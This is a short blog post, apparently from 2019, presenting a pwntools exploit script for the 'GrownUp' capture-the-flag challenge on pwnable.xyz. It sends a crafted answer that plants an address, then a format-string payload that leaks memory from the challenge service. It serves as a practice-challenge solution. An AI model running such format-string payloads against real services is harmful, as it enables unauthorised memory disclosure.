History view

Pwning in Linux

Exploit - GrownUp pwnable.xyz

theFaunia in the wild 2019. 3. 1. 01:05

Challenge GrownUp from pwnable.xyz

nc svc.pwnable.xyz 30004

Exploit

from pwn import *
context.log_level = 'debug'
p = remote("svc.pwnable.xyz",30004)
#p = process('./GrownUpRedist')

#gdb.attach(p,'''
#break *0x0000000000400914
#continue
#''')

p.recvuntil("Are you 18 years or older? [y/N]: ")


payload = "\x79"+"aaaBCCC"+"\x80\x10\x60"
p.sendline(payload)

p.recvuntil("Name: ")
#payload = "AAAABBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%s"
payload = "A"*110+"%x"*8+"%s"
p.sendline(payload)
p.interactive()
Comments